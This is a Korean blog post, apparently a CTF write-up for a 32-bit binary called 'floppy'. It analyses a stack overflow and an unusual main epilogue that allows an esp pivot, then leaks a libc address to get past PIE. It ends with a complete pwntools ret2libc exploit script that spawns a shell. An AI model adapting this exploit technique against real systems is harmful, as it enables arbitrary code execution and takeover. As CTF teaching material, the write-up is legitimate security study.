구조체는 IDA 스택을 보면 아래와 같이 파악할 수 있다.
flag[4], &data[4], description[10], dummy[2], datasize[4]
floppy2[24] + floppy1[24] + floppy_pointer[4] + dummy[8] + sfp[8]? + ret[4] 이런 구조다.
구조는 함수 프롤로그를 보고 다시 밑에서 정리했다.
취약점은 위 read(0, &s, 37) 에서 터진다.
ret은 37-1 byte밖에 안되서 못덮지만 아래와 같은 특징때문에 익스가 가능하다.
해당 문제 메인함수 프롤로그와 에필로그를 보면 평범한 구조와는 좀 다르다.
그렇기에 esp를 조작하여 RTL 하면 될 것같다.
일단 해당 문제는 PIE가 걸려있기 때문에 __libc_start_main_ret 을 구해야한다.
그 전에 함수 프롤로그와 에필로그에 대해 gdb로 분석하였다.
아래는 함수 프롤로그를 막 지났을때의 stack 상황이다.
push dword ptr [ecx-4] 에는 __libc_start_main_ret 이
push ebp 에는 0x0
push ebx 에는 0x0
push ecx 에는 0xffffdae0 이 저장되어 있는걸 gdb로 확인할 수 있다.
위 모습은 에필로그를 지나기 직전에 사진이다.
ebp는 현재 0xffffdac8 이며 esp에 ebp-8(0xffffdac0) 을 넣는다.
위 에필로그에서 보았듯이 0xffffdac0 에는 0xffffdae0 이 저장되어 있다.
즉 esp에는 0xffffdae0 값이 옮겨지고 pop ecx를 함으로써 ecx에 0xffffdae0 값이 옮겨진다.
또한 마지막에 lea esp, [ecx-4] 를 함으로써 esp에 ecx-4(0xffffdadc) 값을 옮겨주고 ret을 실행하는데
0xffffdadc 주소에는 __libc_start_main_ret 이 저장되어 있다!
위 원리대로 프로그램이 종료되는데 만약 여기서 ebp-8 을 조작해 payload가 있는 주소로 return 하게 하면된다.
ebp-8은 DESCRIPTTION에서 봤듯이 충분히 덮고도 남는다.
구조는 아래와 같으며, ebp-8가 있는 위치는 gdb에서 봤듯이 ecx 부분이 된다.
floppy2[24] + floppy1[24] + floppy_pointer[4] + ecx[4] + ebx[4] + ebp[4] + dword ptr [ecx-4][4](ret)
먼저 pie가 걸려있기 때문에 RTL 페이로드를 저장할 floppy1 시작 주소와 __libc_start_main_ret 주소가 필요하다.
DESCRIPTTION 에서 발생하는 오버플로우를 이용해 leak을 해주면 된다.
'A'를 32byte를 넣어주고 플로피1를 선택해 floppy1_pointer를 옮겨준 다음 sub_d5d 함수 실행시키면 위 사진과 같이 floppy1, __libc_start_main_ret 주소가 동시에 leak 되는걸 확인할 수 있다.
위와 같이 구했던 __libc_start_main_ret을 기준으로 base offset을 구하고 system, str_bin_sh offset을 구하면 익스 준비 끝이다.
[Exploit]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | from pwn import * s = process('./floppy') e = ELF('./floppy') base = 0x18637 offset = 0x3ada0 #system offset binsh = 0x15b9ab #_str_binsh offset def choose(string): s.sendlineafter('>\n', '1') s.sendlineafter('?\n\n', string) def write(): s.sendlineafter('>\n', '2') s.sendlineafter(' \n\n', 'gg') s.sendlineafter(' \n\n', 'gg') def modify(string): s.sendlineafter('>\n', '4') s.sendlineafter('a\n\n', '1') s.sendlineafter(' \n\n', string) def view(): global floppy1_addr global start_main_ret s.sendlineafter('>\n', '3') s.recvuntil('AAAAAAAAAAAAAAAA') floppy1_addr = u32(s.recv(4)) #floppy1_addr s.recvuntil('AAAAAAAAAAAA') start_main_ret = u32(s.recv(4)) #libc_start_main_ret def exit(): s.sendlineafter('>\n', '5') choose('1') write() modify('A'*32) choose('1') view() #leak base = start_main_ret - base system = base + offset log.info('floppy1 : ' + hex(floppy1_addr)) log.info('start_main_ret : ' + hex(start_main_ret)) log.info('base : ' + hex(base)) log.info('system : ' + hex(system)) log.info('binsh : ' + hex(base + binsh)) payload = '' payload += p32(system) + 'AAAA' + p32(base + binsh) payload += 'A'*8 + p32(floppy1_addr + 12) #ebp-8 modify(payload) exit() s.interactive() | cs |
'CTF' 카테고리의 다른 글
[White Hacker League 2017] Medic (0) | 2018.03.09 |
---|---|
[White Hacker League 2017] Ghost (0) | 2018.03.05 |
[ROOTCTF 2017] Factorization(sandbag) (0) | 2018.02.24 |
[Codegate 2017] babypwn (0) | 2018.02.23 |
[Codegate 2016] watermelon (0) | 2018.02.23 |